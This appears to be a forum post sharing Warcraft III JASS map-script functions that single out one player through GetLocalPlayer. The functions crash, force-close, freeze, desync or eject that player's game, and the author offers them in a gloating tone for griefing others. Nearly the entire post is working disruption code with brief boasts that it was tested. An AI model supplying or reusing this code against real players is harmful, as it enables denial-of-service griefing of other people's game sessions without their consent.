First off, everyone loves to crash others
Code: Select all
function SendCrash takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("Harr! Crashy!!")
endif
endfunction
Seconly, EXIT someone's warcraft!!
Code: Select all
function ExitWarcraft takes nothing returns nothing
loop
call ExecuteFunc("ExitWarcraft")
endloop
endfunction
function SendExit takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("ExitWarcraft")
endif
endfunction
Please note that this won't just cause massive lag and leaks, although it may seem that way, I tested it and it worked And this is good for making people go 'WTF' because their wc3 just closed without fataling
Next, we can freeze someone's warcraft Harr harr.
Code: Select all
function FreezeWarcraft takes nothing returns nothing
loop
call TriggerSyncReady()
call ExecuteFunc("FreezeWarcraft")
endloop
endfunction
function SendFreeze takes player p returns nothing
if p==GetLocalPlayer()then
call ExecuteFunc("FreezeWarcraft")
endif
endfunction
We can also desync (split) people easily:
Code: Select all
function SendDesync takes player p returns nothing
if p==GetLocalPlayer()then
call CreateUnit(GetLocalPlayer(),'hpea',0,0,0)
endif
endfunction
That's it for the game disruptions. Now it's time for the last one, the famous '-end' command! (Except it's only for 1 player at a time ) It just makes the picked player immediately leave the game and go to chat.
Code: Select all
function SendLeave takes player p returns nothing
if p==GetLocalPlayer()then
call EndGame(false)
endif
endfunction
Hope you enjoy these game disruptions!!